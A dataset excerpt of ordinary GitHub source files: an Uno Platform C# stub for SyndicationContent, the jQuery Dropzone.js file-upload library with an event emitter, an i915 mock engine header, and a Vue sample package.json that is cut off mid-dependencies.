text stringlengths 2 99k | meta dict |
|---|---|
#pragma warning disable 108 // new keyword hiding
#pragma warning disable 114 // new keyword hiding
namespace Windows.Web.Syndication
{
#if __ANDROID__ || __IOS__ || NET461 || __WASM__ || __SKIA__ || __NETSTD_REFERENCE__ || __MACOS__
[global::Uno.NotImplemented]
#endif
public partial class SyndicationContent : global::Windows.Web.Syndication.ISyndicationText,global::Windows.Web.Syndication.ISyndicationNode
{
#if __ANDROID__ || __IOS__ || NET461 || __WASM__ || __SKIA__ || __NETSTD_REFERENCE__ || __MACOS__
[global::Uno.NotImplemented("__ANDROID__", "__IOS__", "NET461", "__WASM__", "__SKIA__", "__NETSTD_REFERENCE__", "__MACOS__")]
public global::System.Uri SourceUri
{
get
{
throw new global::System.NotImplementedException("The member Uri SyndicationContent.SourceUri is not implemented in Uno.");
}
set
{
global::Windows.Foundation.Metadata.ApiInformation.TryRaiseNotImplemented("Windows.Web.Syndication.SyndicationContent", "Uri SyndicationContent.SourceUri");
}
}
#endif
#if __ANDROID__ || __IOS__ || NET461 || __WASM__ || __SKIA__ || __NETSTD_REFERENCE__ || __MACOS__
[global::Uno.NotImplemented("__ANDROID__", "__IOS__", "NET461", "__WASM__", "__SKIA__", "__NETSTD_REFERENCE__", "__MACOS__")]
public string NodeValue
{
get
{
throw new global::System.NotImplementedException("The member string SyndicationContent.NodeValue is not implemented in Uno.");
}
set
{
global::Windows.Foundation.Metadata.ApiInformation.TryRaiseNotImplemented("Windows.Web.Syndication.SyndicationContent", "string SyndicationContent.NodeValue");
}
}
#endif
#if __ANDROID__ || __IOS__ || NET461 || __WASM__ || __SKIA__ || __NETSTD_REFERENCE__ || __MACOS__
[global::Uno.NotImplemented("__ANDROID__", "__IOS__", "NET461", "__WASM__", "__SKIA__", "__NETSTD_REFERENCE__", "__MACOS__")]
public global::System.Uri BaseUri
{
get
{
throw new global::System.NotImplementedException("The member Uri SyndicationContent.BaseUri is not implemented in Uno.");
}
set
{
global::Windows.Foundation.Metadata.ApiInformation.TryRaiseNotImplemented("Windows.Web.Syndication.SyndicationContent", "Uri SyndicationContent.BaseUri");
}
}
#endif
#if __ANDROID__ || __IOS__ || NET461 || __WASM__ || __SKIA__ || __NETSTD_REFERENCE__ || __MACOS__
[global::Uno.NotImplemented("__ANDROID__", "__IOS__", "NET461", "__WASM__", "__SKIA__", "__NETSTD_REFERENCE__", "__MACOS__")]
public string Language
{
get
{
throw new global::System.NotImplementedException("The member string SyndicationContent.Language is not implemented in Uno.");
}
set
{
global::Windows.Foundation.Metadata.ApiInformation.TryRaiseNotImplemented("Windows.Web.Syndication.SyndicationContent", "string SyndicationContent.Language");
}
}
#endif
#if __ANDROID__ || __IOS__ || NET461 || __WASM__ || __SKIA__ || __NETSTD_REFERENCE__ || __MACOS__
[global::Uno.NotImplemented("__ANDROID__", "__IOS__", "NET461", "__WASM__", "__SKIA__", "__NETSTD_REFERENCE__", "__MACOS__")]
public string NodeName
{
get
{
throw new global::System.NotImplementedException("The member string SyndicationContent.NodeName is not implemented in Uno.");
}
set
{
global::Windows.Foundation.Metadata.ApiInformation.TryRaiseNotImplemented("Windows.Web.Syndication.SyndicationContent", "string SyndicationContent.NodeName");
}
}
#endif
#if __ANDROID__ || __IOS__ || NET461 || __WASM__ || __SKIA__ || __NETSTD_REFERENCE__ || __MACOS__
[global::Uno.NotImplemented("__ANDROID__", "__IOS__", "NET461", "__WASM__", "__SKIA__", "__NETSTD_REFERENCE__", "__MACOS__")]
public string NodeNamespace
{
get
{
throw new global::System.NotImplementedException("The member string SyndicationContent.NodeNamespace is not implemented in Uno.");
}
set
{
global::Windows.Foundation.Metadata.ApiInformation.TryRaiseNotImplemented("Windows.Web.Syndication.SyndicationContent", "string SyndicationContent.NodeNamespace");
}
}
#endif
#if __ANDROID__ || __IOS__ || NET461 || __WASM__ || __SKIA__ || __NETSTD_REFERENCE__ || __MACOS__
[global::Uno.NotImplemented("__ANDROID__", "__IOS__", "NET461", "__WASM__", "__SKIA__", "__NETSTD_REFERENCE__", "__MACOS__")]
public global::System.Collections.Generic.IList<global::Windows.Web.Syndication.SyndicationAttribute> AttributeExtensions
{
get
{
throw new global::System.NotImplementedException("The member IList<SyndicationAttribute> SyndicationContent.AttributeExtensions is not implemented in Uno.");
}
}
#endif
#if __ANDROID__ || __IOS__ || NET461 || __WASM__ || __SKIA__ || __NETSTD_REFERENCE__ || __MACOS__
[global::Uno.NotImplemented("__ANDROID__", "__IOS__", "NET461", "__WASM__", "__SKIA__", "__NETSTD_REFERENCE__", "__MACOS__")]
public global::System.Collections.Generic.IList<global::Windows.Web.Syndication.ISyndicationNode> ElementExtensions
{
get
{
throw new global::System.NotImplementedException("The member IList<ISyndicationNode> SyndicationContent.ElementExtensions is not implemented in Uno.");
}
}
#endif
#if __ANDROID__ || __IOS__ || NET461 || __WASM__ || __SKIA__ || __NETSTD_REFERENCE__ || __MACOS__
[global::Uno.NotImplemented("__ANDROID__", "__IOS__", "NET461", "__WASM__", "__SKIA__", "__NETSTD_REFERENCE__", "__MACOS__")]
public string Text
{
get
{
throw new global::System.NotImplementedException("The member string SyndicationContent.Text is not implemented in Uno.");
}
set
{
global::Windows.Foundation.Metadata.ApiInformation.TryRaiseNotImplemented("Windows.Web.Syndication.SyndicationContent", "string SyndicationContent.Text");
}
}
#endif
#if __ANDROID__ || __IOS__ || NET461 || __WASM__ || __SKIA__ || __NETSTD_REFERENCE__ || __MACOS__
[global::Uno.NotImplemented("__ANDROID__", "__IOS__", "NET461", "__WASM__", "__SKIA__", "__NETSTD_REFERENCE__", "__MACOS__")]
public string Type
{
get
{
throw new global::System.NotImplementedException("The member string SyndicationContent.Type is not implemented in Uno.");
}
set
{
global::Windows.Foundation.Metadata.ApiInformation.TryRaiseNotImplemented("Windows.Web.Syndication.SyndicationContent", "string SyndicationContent.Type");
}
}
#endif
#if __ANDROID__ || __IOS__ || NET461 || __WASM__ || __SKIA__ || __NETSTD_REFERENCE__ || __MACOS__
[global::Uno.NotImplemented("__ANDROID__", "__IOS__", "NET461", "__WASM__", "__SKIA__", "__NETSTD_REFERENCE__", "__MACOS__")]
public global::Windows.Data.Xml.Dom.XmlDocument Xml
{
get
{
throw new global::System.NotImplementedException("The member XmlDocument SyndicationContent.Xml is not implemented in Uno.");
}
set
{
global::Windows.Foundation.Metadata.ApiInformation.TryRaiseNotImplemented("Windows.Web.Syndication.SyndicationContent", "XmlDocument SyndicationContent.Xml");
}
}
#endif
#if __ANDROID__ || __IOS__ || NET461 || __WASM__ || __SKIA__ || __NETSTD_REFERENCE__ || __MACOS__
[global::Uno.NotImplemented("__ANDROID__", "__IOS__", "NET461", "__WASM__", "__SKIA__", "__NETSTD_REFERENCE__", "__MACOS__")]
public SyndicationContent( string text, global::Windows.Web.Syndication.SyndicationTextType type)
{
global::Windows.Foundation.Metadata.ApiInformation.TryRaiseNotImplemented("Windows.Web.Syndication.SyndicationContent", "SyndicationContent.SyndicationContent(string text, SyndicationTextType type)");
}
#endif
// Forced skipping of method Windows.Web.Syndication.SyndicationContent.SyndicationContent(string, Windows.Web.Syndication.SyndicationTextType)
#if __ANDROID__ || __IOS__ || NET461 || __WASM__ || __SKIA__ || __NETSTD_REFERENCE__ || __MACOS__
[global::Uno.NotImplemented("__ANDROID__", "__IOS__", "NET461", "__WASM__", "__SKIA__", "__NETSTD_REFERENCE__", "__MACOS__")]
public SyndicationContent( global::System.Uri sourceUri)
{
global::Windows.Foundation.Metadata.ApiInformation.TryRaiseNotImplemented("Windows.Web.Syndication.SyndicationContent", "SyndicationContent.SyndicationContent(Uri sourceUri)");
}
#endif
// Forced skipping of method Windows.Web.Syndication.SyndicationContent.SyndicationContent(System.Uri)
#if __ANDROID__ || __IOS__ || NET461 || __WASM__ || __SKIA__ || __NETSTD_REFERENCE__ || __MACOS__
[global::Uno.NotImplemented("__ANDROID__", "__IOS__", "NET461", "__WASM__", "__SKIA__", "__NETSTD_REFERENCE__", "__MACOS__")]
public SyndicationContent()
{
global::Windows.Foundation.Metadata.ApiInformation.TryRaiseNotImplemented("Windows.Web.Syndication.SyndicationContent", "SyndicationContent.SyndicationContent()");
}
#endif
// Forced skipping of method Windows.Web.Syndication.SyndicationContent.SyndicationContent()
// Forced skipping of method Windows.Web.Syndication.SyndicationContent.Text.get
// Forced skipping of method Windows.Web.Syndication.SyndicationContent.Text.set
// Forced skipping of method Windows.Web.Syndication.SyndicationContent.Type.get
// Forced skipping of method Windows.Web.Syndication.SyndicationContent.Type.set
// Forced skipping of method Windows.Web.Syndication.SyndicationContent.Xml.get
// Forced skipping of method Windows.Web.Syndication.SyndicationContent.Xml.set
// Forced skipping of method Windows.Web.Syndication.SyndicationContent.NodeName.get
// Forced skipping of method Windows.Web.Syndication.SyndicationContent.NodeName.set
// Forced skipping of method Windows.Web.Syndication.SyndicationContent.NodeNamespace.get
// Forced skipping of method Windows.Web.Syndication.SyndicationContent.NodeNamespace.set
// Forced skipping of method Windows.Web.Syndication.SyndicationContent.NodeValue.get
// Forced skipping of method Windows.Web.Syndication.SyndicationContent.NodeValue.set
// Forced skipping of method Windows.Web.Syndication.SyndicationContent.Language.get
// Forced skipping of method Windows.Web.Syndication.SyndicationContent.Language.set
// Forced skipping of method Windows.Web.Syndication.SyndicationContent.BaseUri.get
// Forced skipping of method Windows.Web.Syndication.SyndicationContent.BaseUri.set
// Forced skipping of method Windows.Web.Syndication.SyndicationContent.AttributeExtensions.get
// Forced skipping of method Windows.Web.Syndication.SyndicationContent.ElementExtensions.get
#if __ANDROID__ || __IOS__ || NET461 || __WASM__ || __SKIA__ || __NETSTD_REFERENCE__ || __MACOS__
[global::Uno.NotImplemented("__ANDROID__", "__IOS__", "NET461", "__WASM__", "__SKIA__", "__NETSTD_REFERENCE__", "__MACOS__")]
public global::Windows.Data.Xml.Dom.XmlDocument GetXmlDocument( global::Windows.Web.Syndication.SyndicationFormat format)
{
throw new global::System.NotImplementedException("The member XmlDocument SyndicationContent.GetXmlDocument(SyndicationFormat format) is not implemented in Uno.");
}
#endif
// Forced skipping of method Windows.Web.Syndication.SyndicationContent.SourceUri.get
// Forced skipping of method Windows.Web.Syndication.SyndicationContent.SourceUri.set
// Processing: Windows.Web.Syndication.ISyndicationText
// Processing: Windows.Web.Syndication.ISyndicationNode
}
}
| {
"pile_set_name": "Github"
} |
// Uses AMD or browser globals to create a jQuery plugin.
(function (factory) {
if (typeof define === 'function' && define.amd) {
// AMD. Register as an anonymous module.
define(['jquery'], factory);
} else {
// Browser globals
factory(jQuery);
}
} (function (jQuery) {
var module = { exports: { } }; // Fake component
/**
* Expose `Emitter`.
*/
module.exports = Emitter;
/**
* Initialize a new `Emitter`.
*
* @api public
*/
function Emitter(obj) {
if (obj) return mixin(obj);
};
/**
* Mixin the emitter properties.
*
* @param {Object} obj
* @return {Object}
* @api private
*/
function mixin(obj) {
for (var key in Emitter.prototype) {
obj[key] = Emitter.prototype[key];
}
return obj;
}
/**
* Listen on the given `event` with `fn`.
*
* @param {String} event
* @param {Function} fn
* @return {Emitter}
* @api public
*/
Emitter.prototype.on = function(event, fn){
this._callbacks = this._callbacks || {};
(this._callbacks[event] = this._callbacks[event] || [])
.push(fn);
return this;
};
/**
* Adds an `event` listener that will be invoked a single
* time then automatically removed.
*
* @param {String} event
* @param {Function} fn
* @return {Emitter}
* @api public
*/
Emitter.prototype.once = function(event, fn){
var self = this;
this._callbacks = this._callbacks || {};
function on() {
self.off(event, on);
fn.apply(this, arguments);
}
fn._off = on;
this.on(event, on);
return this;
};
/**
* Remove the given callback for `event` or all
* registered callbacks.
*
* @param {String} event
* @param {Function} fn
* @return {Emitter}
* @api public
*/
Emitter.prototype.off =
Emitter.prototype.removeListener =
Emitter.prototype.removeAllListeners = function(event, fn){
this._callbacks = this._callbacks || {};
var callbacks = this._callbacks[event];
if (!callbacks) return this;
// remove all handlers
if (1 == arguments.length) {
delete this._callbacks[event];
return this;
}
// remove specific handler
var i = callbacks.indexOf(fn._off || fn);
if (~i) callbacks.splice(i, 1);
return this;
};
/**
* Emit `event` with the given args.
*
* @param {String} event
* @param {Mixed} ...
* @return {Emitter}
*/
Emitter.prototype.emit = function(event){
this._callbacks = this._callbacks || {};
var args = [].slice.call(arguments, 1)
, callbacks = this._callbacks[event];
if (callbacks) {
callbacks = callbacks.slice(0);
for (var i = 0, len = callbacks.length; i < len; ++i) {
callbacks[i].apply(this, args);
}
}
return this;
};
/**
* Return array of callbacks for `event`.
*
* @param {String} event
* @return {Array}
* @api public
*/
Emitter.prototype.listeners = function(event){
this._callbacks = this._callbacks || {};
return this._callbacks[event] || [];
};
/**
* Check if this emitter has `event` handlers.
*
* @param {String} event
* @return {Boolean}
* @api public
*/
Emitter.prototype.hasListeners = function(event){
return !! this.listeners(event).length;
};
// Generated by CoffeeScript 1.4.0
/*
#
# More info at [www.dropzonejs.com](http://www.dropzonejs.com)
#
# Copyright (c) 2012, Matias Meno
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
#
*/
(function() {
var Dropzone, Em, camelize, o, without,
__hasProp = {}.hasOwnProperty,
__extends = function(child, parent) { for (var key in parent) { if (__hasProp.call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = child; } ctor.prototype = parent.prototype; child.prototype = new ctor(); child.__super__ = parent.prototype; return child; },
__slice = [].slice;
o = typeof jQuery !== "undefined" && jQuery !== null ? jQuery : require("jquery");
Em = typeof Emitter !== "undefined" && Emitter !== null ? Emitter : require("emitter");
Dropzone = (function(_super) {
__extends(Dropzone, _super);
Dropzone.prototype.version = "1.3.4";
/*
This is a list of all available events you can register on a dropzone object.
You can register an event handler like this:
dropzone.on("dragEnter", function() { });
*/
Dropzone.prototype.events = ["drop", "dragstart", "dragend", "dragenter", "dragover", "dragleave", "selectedfiles", "addedfile", "thumbnail", "error", "processingfile", "uploadprogress", "sending", "success", "complete"];
Dropzone.prototype.blacklistedBrowsers = [/opera.*Macintosh.*version\/12/i];
Dropzone.prototype.defaultOptions = {
url: null,
parallelUploads: 2,
maxFilesize: 256,
paramName: "file",
createImageThumbnails: true,
maxThumbnailFilesize: 2,
thumbnailWidth: 100,
thumbnailHeight: 100,
clickable: true,
accept: function(file, done) {
return done();
},
fallback: function() {
this.element.addClass("browser-not-supported");
this.element.find(".message").removeClass("default");
this.element.find(".message span").html("Your browser does not support drag'n'drop file uploads.");
this.element.append("Please use the fallback form below to upload your files like in the olden days.</p>");
return this.element.append(this.getFallbackForm());
},
/*
Those functions register themselves to the events on init.
You can overwrite them if you don't like the default behavior. If you just want to add an additional
event handler, register it on the dropzone object and don't overwrite those options.
*/
drop: function(e) {
return this.element.removeClass("drag-hover");
},
dragstart: o.noop,
dragend: function(e) {
return this.element.removeClass("drag-hover");
},
dragenter: function(e) {
return this.element.addClass("drag-hover");
},
dragover: function(e) {
return this.element.addClass("drag-hover");
},
dragleave: function(e) {
return this.element.removeClass("drag-hover");
},
selectedfiles: function(files) {
return this.element.addClass("started");
},
addedfile: function(file) {
file.previewTemplate = o(this.options.previewTemplate);
this.element.append(file.previewTemplate);
file.previewTemplate.find(".filename span").text(file.name);
return file.previewTemplate.find(".details").append(o("<div class=\"size\">" + (this.filesize(file.size)) + "</div>"));
},
thumbnail: function(file, dataUrl) {
file.previewTemplate.removeClass("file-preview").addClass("image-preview");
return file.previewTemplate.find(".details").append(o("<img alt=\"" + file.name + "\" src=\"" + dataUrl + "\"/>"));
},
error: function(file, message) {
file.previewTemplate.addClass("error");
return file.previewTemplate.find(".error-message span").text(message);
},
processingfile: function(file) {
return file.previewTemplate.addClass("processing");
},
uploadprogress: function(file, progress) {
return file.previewTemplate.find(".progress .upload").css({
width: "" + progress + "%"
});
},
sending: o.noop,
success: function(file) {
return file.previewTemplate.addClass("success");
},
complete: o.noop,
previewTemplate: "<div class=\"preview file-preview\">\n <div class=\"details\">\n <div class=\"filename\"><span></span></div>\n </div>\n <div class=\"progress\"><span class=\"upload\"></span></div>\n <div class=\"success-mark\"><span>✔</span></div>\n <div class=\"error-mark\"><span>✘</span></div>\n <div class=\"error-message\"><span></span></div>\n</div>"
};
function Dropzone(element, options) {
var elementId, elementOptions, extend, _ref;
this.defaultOptions.previewTemplate = this.defaultOptions.previewTemplate.replace(/\n*/g, "");
this.element = o(element);
if (this.element.length !== 1) {
throw new Error("You can only instantiate dropzone on a single element.");
}
if (this.element.data("dropzone")) {
throw new Error("Dropzone already attached.");
}
this.element.data("dropzone", this);
elementId = this.element.attr("id");
elementOptions = (_ref = (elementId ? Dropzone.options[camelize(elementId)] : void 0)) != null ? _ref : {};
this.elementTagName = this.element.get(0).tagName;
extend = function() {
var key, object, objects, target, val, _i, _len;
target = arguments[0], objects = 2 <= arguments.length ? __slice.call(arguments, 1) : [];
for (_i = 0, _len = objects.length; _i < _len; _i++) {
object = objects[_i];
for (key in object) {
val = object[key];
target[key] = val;
}
}
return target;
};
this.options = extend({}, this.defaultOptions, elementOptions, options != null ? options : {});
if (this.options.url == null) {
this.options.url = this.element.attr("action");
}
if (!this.options.url) {
throw new Error("No URL provided.");
}
this.init();
}
Dropzone.prototype.init = function() {
var capableBrowser, regex, _i, _len, _ref, _ref1,
_this = this;
if (this.elementTagName === "form" && this.element.attr("enctype") !== "multipart/form-data") {
this.element.attr("enctype", "multipart/form-data");
}
if (this.element.find(".message").length === 0) {
this.element.append(o("<div class=\"default message\"><span>Drop files here to upload</span></div>"));
}
capableBrowser = true;
if (window.File && window.FileReader && window.FileList && window.Blob && window.FormData) {
_ref = this.blacklistedBrowsers;
for (_i = 0, _len = _ref.length; _i < _len; _i++) {
regex = _ref[_i];
if (regex.test(navigator.userAgent)) {
capableBrowser = false;
continue;
}
}
} else {
capableBrowser = false;
}
if (!capableBrowser) {
return this.options.fallback.call(this);
}
if (this.options.clickable) {
this.element.addClass("clickable");
this.hiddenFileInput = o("<input type=\"file\" multiple />");
this.element.click(function(evt) {
var target;
target = o(evt.target);
if (target.is(_this.element) || target.is(_this.element.find(".message"))) {
return _this.hiddenFileInput.click();
}
});
this.hiddenFileInput.change(function() {
var files;
files = _this.hiddenFileInput.get(0).files;
_this.emit("selectedfiles", files);
if (files.length) {
return _this.handleFiles(files);
}
});
}
this.files = [];
this.files.queue = [];
this.files.processing = [];
this.URL = (_ref1 = window.URL) != null ? _ref1 : window.webkitURL;
return this.setupEventListeners();
};
Dropzone.prototype.getFallbackForm = function() {
var fields;
fields = o("<div class=\"fallback-elements\"><input type=\"file\" name=\"newFiles\" multiple=\"multiple\" /><button type=\"submit\">Upload!</button></div>");
if (this.elementTagName !== "FORM") {
fields = o("<form action=\"" + this.options.url + "\" enctype=\"multipart/form-data\" method=\"post\"></form>").append(fields);
}
return fields;
};
Dropzone.prototype.setupEventListeners = function() {
var eventName, noPropagation, _i, _len, _ref,
_this = this;
_ref = this.events;
for (_i = 0, _len = _ref.length; _i < _len; _i++) {
eventName = _ref[_i];
this.on(eventName, this.options[eventName]);
}
noPropagation = function(e) {
e.stopPropagation();
return e.preventDefault();
};
this.element.on("dragstart", function(e) {
return _this.emit("dragstart", e);
});
this.element.on("dragenter", function(e) {
noPropagation(e);
return _this.emit("dragenter", e);
});
this.element.on("dragover", function(e) {
noPropagation(e);
return _this.emit("dragover", e);
});
this.element.on("dragleave", function(e) {
return _this.emit("dragleave", e);
});
this.element.on("drop", function(e) {
noPropagation(e);
_this.drop(e);
return _this.emit("drop", e);
});
return this.element.on("dragend", function(e) {
return _this.emit("dragend", e);
});
};
Dropzone.prototype.filesize = function(size) {
var string;
if (size >= 100000000000) {
size = size / 100000000000;
string = "TB";
} else if (size >= 100000000) {
size = size / 100000000;
string = "GB";
} else if (size >= 100000) {
size = size / 100000;
string = "MB";
} else if (size >= 100) {
size = size / 100;
string = "KB";
} else {
size = size * 10;
string = "b";
}
return "<strong>" + (Math.round(size) / 10) + "</strong> " + string;
};
Dropzone.prototype.drop = function(e) {
var files;
if (!e.originalEvent.dataTransfer) {
return;
}
files = e.originalEvent.dataTransfer.files;
this.emit("selectedfiles", files);
if (files.length) {
return this.handleFiles(files);
}
};
Dropzone.prototype.handleFiles = function(files) {
var file, _i, _len, _results;
_results = [];
for (_i = 0, _len = files.length; _i < _len; _i++) {
file = files[_i];
_results.push(this.addFile(file));
}
return _results;
};
Dropzone.prototype.accept = function(file, done) {
if (file.size > this.options.maxFilesize * 1024 * 1024) {
return done("File is too big (" + (Math.round(file.size / 1024 / 10.24) / 100) + "MB). Max filesize: " + this.options.maxFilesize + "MB");
} else {
return this.options.accept.call(this, file, done);
}
};
Dropzone.prototype.addFile = function(file) {
var _this = this;
this.files.push(file);
this.emit("addedfile", file);
if (this.options.createImageThumbnails && file.type.match(/image.*/) && file.size <= this.options.maxThumbnailFilesize * 1024 * 1024) {
this.createThumbnail(file);
}
return this.accept(file, function(error) {
if (error) {
return _this.errorProcessing(file, error);
} else {
_this.files.queue.push(file);
return _this.processQueue();
}
});
};
Dropzone.prototype.createThumbnail = function(file) {
var fileReader,
_this = this;
fileReader = new FileReader;
fileReader.onload = function() {
var img;
img = new Image;
img.onload = function() {
var canvas, ctx, srcHeight, srcRatio, srcWidth, srcX, srcY, thumbnail, trgHeight, trgRatio, trgWidth, trgX, trgY;
canvas = document.createElement("canvas");
ctx = canvas.getContext("2d");
srcX = 0;
srcY = 0;
srcWidth = img.width;
srcHeight = img.height;
canvas.width = _this.options.thumbnailWidth;
canvas.height = _this.options.thumbnailHeight;
trgX = 0;
trgY = 0;
trgWidth = canvas.width;
trgHeight = canvas.height;
srcRatio = img.width / img.height;
trgRatio = canvas.width / canvas.height;
if (img.height < canvas.height || img.width < canvas.width) {
trgHeight = srcHeight;
trgWidth = srcWidth;
} else {
if (srcRatio > trgRatio) {
srcHeight = img.height;
srcWidth = srcHeight * trgRatio;
} else {
srcWidth = img.width;
srcHeight = srcWidth / trgRatio;
}
}
srcX = (img.width - srcWidth) / 2;
srcY = (img.height - srcHeight) / 2;
trgY = (canvas.height - trgHeight) / 2;
trgX = (canvas.width - trgWidth) / 2;
ctx.drawImage(img, srcX, srcY, srcWidth, srcHeight, trgX, trgY, trgWidth, trgHeight);
thumbnail = canvas.toDataURL("image/png");
return _this.emit("thumbnail", file, thumbnail);
};
return img.src = fileReader.result;
};
return fileReader.readAsDataURL(file);
};
Dropzone.prototype.processQueue = function() {
var i, parallelUploads, processingLength;
parallelUploads = this.options.parallelUploads;
processingLength = this.files.processing.length;
i = processingLength;
while (i < parallelUploads) {
if (!this.files.queue.length) {
return;
}
this.processFile(this.files.queue.shift());
i++;
}
};
Dropzone.prototype.processFile = function(file) {
this.files.processing.push(file);
this.emit("processingfile", file);
return this.uploadFile(file);
};
Dropzone.prototype.uploadFile = function(file) {
var formData, handleError, input, inputElement, inputName, progressObj, xhr, _i, _len, _ref, _ref1,
_this = this;
xhr = new XMLHttpRequest();
formData = new FormData();
formData.append(this.options.paramName, file);
if (this.elementTagName = "FORM") {
_ref = this.element.find("input, textarea, select, button");
for (_i = 0, _len = _ref.length; _i < _len; _i++) {
inputElement = _ref[_i];
input = o(inputElement);
inputName = input.attr("name");
if (!input.attr("type") || input.attr("type").toLowerCase() !== "checkbox" || inputElement.checked) {
formData.append(input.attr("name"), input.val());
}
}
}
xhr.open("POST", this.options.url, true);
handleError = function() {
return _this.errorProcessing(file, xhr.responseText || ("Server responded with " + xhr.status + " code."));
};
xhr.onload = function(e) {
var response;
if (xhr.status !== 200) {
return handleError();
} else {
_this.emit("uploadprogress", file, 100);
response = xhr.responseText;
if (~xhr.getResponseHeader("content-type").indexOf("application/json")) {
response = JSON.parse(response);
}
return _this.finished(file, response, e);
}
};
xhr.onerror = function() {
return handleError();
};
progressObj = (_ref1 = xhr.upload) != null ? _ref1 : xhr;
progressObj.onprogress = function(e) {
return _this.emit("uploadprogress", file, Math.max(0, Math.min(100, (e.loaded / e.total) * 100)));
};
xhr.setRequestHeader("Accept", "application/json");
xhr.setRequestHeader("Cache-Control", "no-cache");
xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
xhr.setRequestHeader("X-File-Name", file.name);
this.emit("sending", file, xhr);
return xhr.send(formData);
};
Dropzone.prototype.finished = function(file, responseText, e) {
this.files.processing = without(this.files.processing, file);
this.emit("success", file, responseText, e);
this.emit("finished", file, responseText, e);
this.emit("complete", file);
return this.processQueue();
};
Dropzone.prototype.errorProcessing = function(file, message) {
this.files.processing = without(this.files.processing, file);
this.emit("error", file, message);
this.emit("complete", file);
return this.processQueue();
};
return Dropzone;
})(Em);
Dropzone.options = {};
without = function(list, rejectedItem) {
var item, _i, _len, _results;
_results = [];
for (_i = 0, _len = list.length; _i < _len; _i++) {
item = list[_i];
if (item !== rejectedItem) {
_results.push(item);
}
}
return _results;
};
camelize = function(str) {
return str.replace(/[\-_](\w)/g, function(match) {
return match[1].toUpperCase();
});
};
o.fn.dropzone = function(options) {
return this.each(function() {
return new Dropzone(this, options);
});
};
o(function() {
return o(".dropzone").dropzone();
});
if (typeof module !== "undefined" && module !== null) {
module.exports = Dropzone;
} else {
window.Dropzone = Dropzone;
}
}).call(this);
return module.exports;
})); | {
"pile_set_name": "Github"
} |
/*
* Copyright © 2016 Intel Corporation
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice (including the next
* paragraph) shall be included in all copies or substantial portions of the
* Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
* IN THE SOFTWARE.
*
*/
#ifndef __MOCK_ENGINE_H__
#define __MOCK_ENGINE_H__
#include <linux/list.h>
#include <linux/spinlock.h>
#include <linux/timer.h>
#include "gt/intel_engine.h"
struct mock_engine {
struct intel_engine_cs base;
spinlock_t hw_lock;
struct list_head hw_queue;
struct timer_list hw_delay;
};
struct intel_engine_cs *mock_engine(struct drm_i915_private *i915,
const char *name,
int id);
int mock_engine_init(struct intel_engine_cs *engine);
void mock_engine_flush(struct intel_engine_cs *engine);
void mock_engine_reset(struct intel_engine_cs *engine);
void mock_engine_free(struct intel_engine_cs *engine);
#endif /* !__MOCK_ENGINE_H__ */
| {
"pile_set_name": "Github"
} |
{
"name": "vuejs-sample-1",
"version": "1.0.0",
"description": "VueJS Sample",
"author": "Tyrone Tudehope",
"private": true,
"scripts": {
"dev": "node build/dev-server.js",
"build": "node build/build.js",
"unit": "karma start test/unit/karma.conf.js --single-run",
"test": "npm run unit",
"lint": "eslint --ext .js,.vue src test/unit/specs"
},
"dependencies": {
"vue": "^2.1.0",
"vuex": "^2.0.0"
},
"devDependencies": {
"autoprefixer": "^6.4.0",
"babel-core": "^6.0.0",
"babel-eslint": "^7.0.0",
"babel-loader": "^6.0.0",
"babel-plugin-transform-runtime": "^6.0.0",
"babel-polyfill": "^6.16.0",
"babel-preset-es2015": "^6.0.0",
"babel-preset-stage-2": "^6.0.0",
"babel-register": "^6.0.0",
"chai": "^3.5.0",
"chalk": "^1.1.3",
"connect-history-api-fallback": "^1.1.0",
"css-loader": "^0.25.0",
"eslint": "^3.7.1",
"eslint-config-airbnb-base": "^8.0.0",
"eslint-friendly-formatter": "^2.0.5",
"eslint-import-resolver-webpack": "^0.6.0",
"eslint-loader": "^1.5.0",
"eslint-plugin-html": "^1.3.0",
"eslint-plugin-import": "^1.16.0",
"eventsource-polyfill": "^0.9.6",
"express": "^4.13.3",
"extract-text-webpack-plugin": "^1.0.1",
"file-loader": "^0.9.0",
"function-bind": "^1.0.2",
"html-webpack-plugin": "^2.8.1",
"http-proxy-middleware": "^0.17.2",
"inject-loader": "^2.0.1",
"isparta-loader": "^2.0.0",
"json-loader": "^0.5.4",
"karma": "^1.3.0",
"karma-coverage": "^1.1.1",
"karma-mocha": "^1.2.0",
"karma-phantomjs-launcher": "^1.0.0",
"karma-sinon-chai": "^1.2.0",
"karma-sourcemap-loader": "^0.3.7",
"karma-spec-reporter": "0.0.26",
"karma-webpack": "^1.7.0",
"lodash": "^4.17.2",
"lolex": "^1.4.0",
"mocha": "^3.1.0",
